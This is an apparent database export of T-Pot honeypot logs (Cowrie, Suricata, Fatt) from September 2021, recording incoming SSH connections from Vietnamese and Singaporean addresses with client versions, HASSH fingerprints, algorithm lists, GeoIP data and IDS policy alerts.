27634	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:09.062915+03	2021-09-20 14:30:01.724523+03	{"_id": "dgbqAnwBvYTbRNuEuSmk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3af8cd5e8103", "@version": "1", "timestamp": "2021-09-20T11:15:09.062915Z", "@timestamp": "2021-09-20T11:15:09.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27635	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:10.360428+03	2021-09-20 14:30:01.725525+03	{"_id": "eAbqAnwBvYTbRNuEvCnJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52524, "timestamp": "2021-09-20T11:15:10.360428", "@timestamp": "2021-09-20T11:15:10.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28161	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:16:22.037424+03	2021-09-20 14:30:02.461554+03	{"_id": "yAbrAnwBvYTbRNuE1Cz4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:21.414674+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1790}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1773151168320466, "payload": "AAAI7AYUidWs3gv3wJR/Gkhh/GiGPgAAAcpjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGN1cnZlNDQ4LXNoYTUxMixlY2RoLXNoYTItbmlzdHA1MjEsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItMS4zLjEzMi4wLjEwLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTUtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTctc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxyc2EyMDQ4LXNoYTI1Nixyc2ExMDI0LXNoYTEsZXh0LWluZm8tYwAAAbVzc2gtZWQyNTUxOS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZWQ0NDgtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDUyMS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi0xLjMuMTMyLjAuMTAtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LHNzaC1lZDQ0OCxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLTEuMy4xMzIuMC4xMCxyc2Etc2hhMi0yNTYscnNhLXNoYTItNTEyLHNzaC1yc2Esc3NoLWRzcwAAAM1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhcmNmb3VyAAAAzWNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtY3RyLGFlczE5Mi1jdHIsYWVzMTI4LWN0cixhZXMyNTYtY2JjLGFlczE5Mi1jYmMsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFyY2ZvdXIAAAGtdW1hYy02NC1ldG1Ab3BlbnNzaC5jb20sdW1hYy0xMjgtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGht", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34408, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:22.037424Z", "@timestamp": "2021-09-20T11:16:22.037Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................Ha.h.>....curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c....ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hm"}}	1	\N	\N	alert	\N	\N
27636	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:09.945091+03	2021-09-20 14:30:01.726524+03	{"_id": "hgbqAnwBvYTbRNuEvSmQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43792 (192.168.176.2:22) [session: 2e036f571af5]", "session": "2e036f571af5", "@version": "1", "protocol": "ssh", "src_port": 43792, "dest_port": 22, "timestamp": "2021-09-20T11:15:09.945091Z", "@timestamp": "2021-09-20T11:15:09.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27637	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:10.199002+03	2021-09-20 14:30:01.728523+03	{"_id": "hAbqAnwBvYTbRNuEvSmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b2e99793ae39", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:10.199002Z", "@timestamp": "2021-09-20T11:15:10.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27638	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:10.426324+03	2021-09-20 14:30:01.729524+03	{"_id": "kQbqAnwBvYTbRNuEvSmQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b2e99793ae39", "@version": "1", "timestamp": "2021-09-20T11:15:10.426324Z", "@timestamp": "2021-09-20T11:15:10.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27639	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:11.169024+03	2021-09-20 14:30:01.730525+03	{"_id": "lAbqAnwBvYTbRNuEvyl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 991166468086046, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39006, "dest_port": 22, "timestamp": "2021-09-20T11:15:11.169024Z", "@timestamp": "2021-09-20T11:15:11.169Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27640	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:15:11.232872+03	2021-09-20 14:30:01.732524+03	{"_id": "lgbqAnwBvYTbRNuEvyl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:15:10.877333+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 843889892025109, "payload": "AAADzAYUMLWW1hwUF05Um7W97QcebgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36088, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:15:11.232872Z", "@timestamp": "2021-09-20T11:15:11.232Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......0......NT......n...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
27641	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:11.182179+03	2021-09-20 14:30:01.733524+03	{"_id": "oAbqAnwBvYTbRNuEwSl2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7b47fb85472e", "@version": "1", "duration": 3.0634605884552, "timestamp": "2021-09-20T11:15:11.182179Z", "@timestamp": "2021-09-20T11:15:11.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
